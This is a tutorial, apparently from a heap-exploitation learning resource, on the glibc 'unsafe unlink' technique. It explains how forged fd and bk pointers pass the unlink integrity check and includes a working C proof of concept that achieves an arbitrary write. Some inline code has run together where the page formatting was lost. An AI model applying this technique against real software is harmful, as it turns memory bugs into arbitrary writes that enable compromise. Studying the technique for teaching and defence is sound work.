Unsafe Unlink
Introduction
The unlink vulnerability occurs when a program can trigger the removal of a chunk from a doubly-linked list (like the unsorted, small, or large bins) while having control over the chunkβs metadata (fd and bk pointers).
In modern glibc versions, a crucial check was introduced to prevent simple unlink attacks:
if (__builtin_expect (p->fd->bk != p || p->bk->fd != p, 0))
malloc_printerr ("unlink_chunk(): corrupted double-linked list");To bypass this, we need a known pointer that points to our chunk. The most common scenario is a global pointer to a heap allocation.
Prerequisites
- Global Pointer: Ability to find a known, static address (like a global variable) that contains a pointer to the target heap chunk.
- Heap Overflow / UAF: Ability to overwrite the
fdandbkpointers of the target chunk. - Unlink Trigger: Ability to trigger the
unlinkmacro, typically by freeing an adjacent chunk to induce backward or forward consolidation.
The Technique
The goal is to forge a fake chunk such that:
P->fd->bk == PP->bk->fd == P
If we have a global pointer P_ptr that points to chunk P, we can set:
P->fd = &P_ptr - 3*sizeof(void*)P->bk = &P_ptr - 2*sizeof(void*)
When unlink(P) is called:
FD = P->fd(which is&P_ptr - 3)BK = P->bk(which is&P_ptr - 2)FD->bk = BK->*(&P_ptr - 3 + 3) = &P_ptr - 2->P_ptr = &P_ptr - 2BK->fd = FD->*(&P_ptr - 2 + 2) = &P_ptr - 3->P_ptr = &P_ptr - 3
The result is that P_ptr now points slightly before itself. We can then use P_ptr to overwrite itself with any address, achieving an arbitrary write primitive.
Implementation Example
The following code (tested on Ubuntu 20.04) demonstrates the attack using a global pointer.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <assert.h>
uint64_t *chunk0_ptr;
int main()
{
setbuf(stdout, NULL);
int malloc_size = 0x420;
int header_size = 2;
chunk0_ptr = (uint64_t*) malloc(malloc_size);
uint64_t *chunk1_ptr = (uint64_t*) malloc(malloc_size);
// 1. Forge fake chunk in chunk0
chunk0_ptr[1] = chunk0_ptr[-1] - 0x10;
chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);
chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);
// 2. Corrupt chunk1 metadata
uint64_t *chunk1_hdr = chunk1_ptr - header_size;
chunk1_hdr[0] = malloc_size;
chunk1_hdr[1] &= ~1;
// 3. Trigger unlink via backward consolidation
free(chunk1_ptr);
// 4. Achieve arbitrary write
char victim_string[8];
strcpy(victim_string,"Hello!~");
chunk0_ptr[3] = (uint64_t) victim_string;
chunk0_ptr[0] = 0x4141414142424242LL;
assert(*(long *)victim_string == 0x4141414142424242L);
return 0;
}Key Takeaways
- Requirement: A known location (usually global/static memory) containing a pointer to the chunk.
- Capability: Transforms a heap overflow/UAF into an arbitrary write.
- Modern Defense: Safe-linking and tcache often require bypassing or filling the tcache first before this technique can be used on bins that use
unlink.